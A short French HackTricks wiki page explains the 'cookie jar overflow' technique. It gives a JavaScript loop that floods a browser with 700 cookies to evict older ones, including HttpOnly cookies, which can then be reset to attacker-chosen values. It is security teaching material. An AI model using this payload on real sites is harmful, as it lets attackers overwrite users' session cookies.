23 lines
1.1 KiB
Markdown

{{#include ../../banners/hacktricks-training.md}}
Les navigateurs ont une **limite sur le nombre de cookies** qu'ils peuvent stocker pour une page. Ensuite, si pour une raison quelconque vous devez **faire disparaître un cookie**, vous pouvez **déborder le pot à cookies** car les plus anciens seront supprimés en premier :
```javascript
// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`
}
// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`
}
```
Remarquez que les cookies tierces pointant vers un domaine différent ne seront pas écrasées.
> [!CAUTION]
> Cette attaque peut également être utilisée pour **écraser les cookies HttpOnly car vous pouvez les supprimer puis les réinitialiser avec la valeur que vous souhaitez**.
>
> Vérifiez cela dans [**ce post avec un laboratoire**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
{{#include ../../banners/hacktricks-training.md}}